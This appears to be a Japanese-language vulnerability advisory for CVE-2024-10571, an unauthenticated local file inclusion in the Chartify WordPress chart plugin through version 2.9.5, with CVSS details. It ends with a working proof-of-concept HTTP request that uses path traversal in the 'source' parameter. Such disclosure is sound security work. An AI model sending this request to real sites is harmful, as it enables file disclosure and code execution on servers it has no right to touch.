CVE-2024-10571

Chartify – WordPress Chart Plugin <= 2.9.5 - 未認証ローカルファイルインクルージョン（source 経由）

説明

WordPress用プラグイン Chartify – WordPress Chart Plugin は、バージョン 2.9.5 以前のすべてのバージョンにおいて、'source' パラメータを介したローカルファイルインクルージョンに対して脆弱です。これにより、認証されていない攻撃者がサーバー上の任意のファイルをインクルードして実行し、それらのファイル内の任意のPHPコードを実行することが可能になります。この脆弱性は、アクセス制御の回避、機密データの取得、または画像やその他の「安全な」ファイルタイプがアップロードおよびインクルード可能な場合のコード実行に悪用される可能性があります。

詳細

• Type: plugin
• Slug: chart-builder
• Affected Version: 2.9.5
• CVSS Score: 9.8
• CVSS Rating: Critical
• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-10571
• Status: Active

POC

POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../../../var/www/html/poc&type=chart-js HTTP/1.1
Host: wp.local
Content-Length: 63
Content-Type: application/x-www-form-urlencoded

action=ays_chart_admin_ajax&function=display_plugin_charts_page